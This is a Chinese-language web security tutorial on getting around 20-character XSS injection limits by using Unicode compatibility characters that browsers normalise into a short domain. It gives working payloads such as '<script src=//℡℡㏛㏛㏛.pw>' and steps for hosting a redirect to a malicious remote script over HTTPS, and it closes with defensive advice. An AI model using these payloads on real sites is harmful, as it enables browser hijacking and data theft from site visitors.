Exploiting XSS with 20 characters limitation
字数 1301 2025-08-25 22:58:55
突破20字符限制的XSS攻击技术:利用Unicode兼容性
1. 背景与问题概述
跨站点脚本(XSS)攻击是Web渗透测试中最常见的漏洞之一,但常面临注入点字符限制的问题。本文介绍如何利用Unicode兼容性特性来突破20字符限制,实现有效的XSS攻击。
2. Unicode兼容性原理
Unicode标准包含两种等价处理方式:
- 规范等价性:外形相同且含义相同的字符序列(如
n) - 兼容等价性:外形可能不同但在某些情况下含义相同的字符(如
ff等价于ff)
3. 基础短Payload
最基本的20字符内XSS payload:
<svg/onload=alert``>
但此payload功能有限,仅能实现简单弹窗。
4. 加载外部JS文件的挑战
理想情况下,我们希望加载外部JS文件:
<script src=//aa.es>
但面临两个问题:
- 短域名可能已被注册
- 短域名价格昂贵
5. Unicode字符利用技术
浏览器对某些Unicode字符具有兼容性解析特性,例如:
| Unicode字符 | 解析结果 | 示例域名 |
|---|---|---|
| ff | ff | ffff.pw → ff.pw |
| ℠ | sm | ℠℠ → sm |
| ㏛ | sr | ㏛㏛㏛ → sr |
| st | st | stst → st |
| ㎭ | rad | ㎭㎭ → rad |
| ℡ | tel | ℡℡ → tel |
6. 实际应用案例
注册telsr.pw域名(仅花费1.28美元),使用以下payload:
<script src=//℡℡㏛㏛㏛.pw>
解析过程:
- 原始:
℡℡㏛㏛㏛.pw(8字符) - 解析后:
telsr.pw(8字符)
7. 攻击实施步骤
- 触发XSS:受害者访问包含payload的页面
- 加载资源:浏览器尝试加载
telsr.pw内容 - 重定向:DNS或服务器重定向到恶意JS文件(如xsshunter.com)
- 执行攻击:加载并执行恶意JS代码
8. HTTPS环境解决方案
在HTTPS环境下直接DNS重定向会导致SSL证书不匹配问题,解决方案:
- 购买主机:如Namecheap最便宜方案(1.44美元/月)
- 设置HTTPS证书:第一年免费
- 配置服务器重定向:在控制面板设置重定向到恶意JS文件位置
- 执行攻击:服务器重定向不会导致证书错误
9. 参考资源
- Unicode字符规范化图表:https://www.unicode.org/charts/normalization/
- Unicode字符解析查看:https://www.compart.com/en/unicode/U+2121
10. 防御建议
- 严格过滤输入中的Unicode兼容字符
- 实施内容安全策略(CSP)
- 对输出进行适当的编码和转义
- 限制外部资源加载
- 使用Subresource Integrity检查外部脚本
通过理解这些技术,安全人员可以更好地测试和防御此类高级XSS攻击。